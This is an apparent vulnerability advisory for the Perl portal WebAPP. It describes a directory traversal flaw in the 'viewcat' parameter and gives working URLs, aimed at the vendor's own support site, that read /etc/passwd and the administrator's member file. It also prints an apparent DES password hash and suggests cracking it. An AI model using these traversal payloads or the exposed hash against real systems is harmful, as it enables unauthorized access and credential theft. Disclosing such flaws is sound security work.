WebAPP is susceptible to a directory traversal attack and another flaw that allows an attacker the ability to retrieve the DES encrypted password hash of the administrator.
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WebAPP is advertised as the internet's most feature rich,
easy to run PERL based portal system.
Its home site is at http://www.web-app.org/
Some features are :
-Easy to Install on standard Unix servers!
(Windows user-supported only!)
-User Profiles
-Message forums
-Private messaging between members
-Blog-style News Articles
-Links and Downloads
-Customizable themes
-Multiple language support
-Flat-file System-NO SQL DATABASE!
-Membership controls
-Open source
Several user mods are also available which ranges from chat
to e-commerce applications.
Several vulnerabilities in these mods have already been
discovered.
The WebAPP system itself has a serious reverse directory
traversal vulnerability.
Example..
1) Go to http://cornerstone.web-app.org/cgi-bin/index.cgi
/this is their main support site/
2) Click on Articles on the main menu at the left side of
the screen
3) Click on any of the icons representing the misc topics
available /i chose the "bugs" section/
4) You'll wind up with the url "http://cornerstone.web-app.org/cgi-bin/index.cgi?action=topics&viewcat=bugs"
on the address bar on your browser. Change it to
"http://cornerstone.web-app.org/cgi-bin/index.cgi?action=topics&viewcat=../../../../../../../etc/passwd%00"
5)View the html source for the page
A more interesting file to look at would be;
"http://cornerstone.web-app.org/cgi-bin/index.cgi?action=topics&viewcat=../../db/members/admin.dat%00"
View the html source code and scroll down until you come to
the line with;
href="index.cgi?action=viewnews&id=adUCOOzV2ljgg"></a></td>
"adUCOOzV2ljgg" is the hashed password of the Administrator.
It's standard DES encrypted so you can
run a password cracking program to crack it
Every user would have a corresponding .dat file within the
db/members directory
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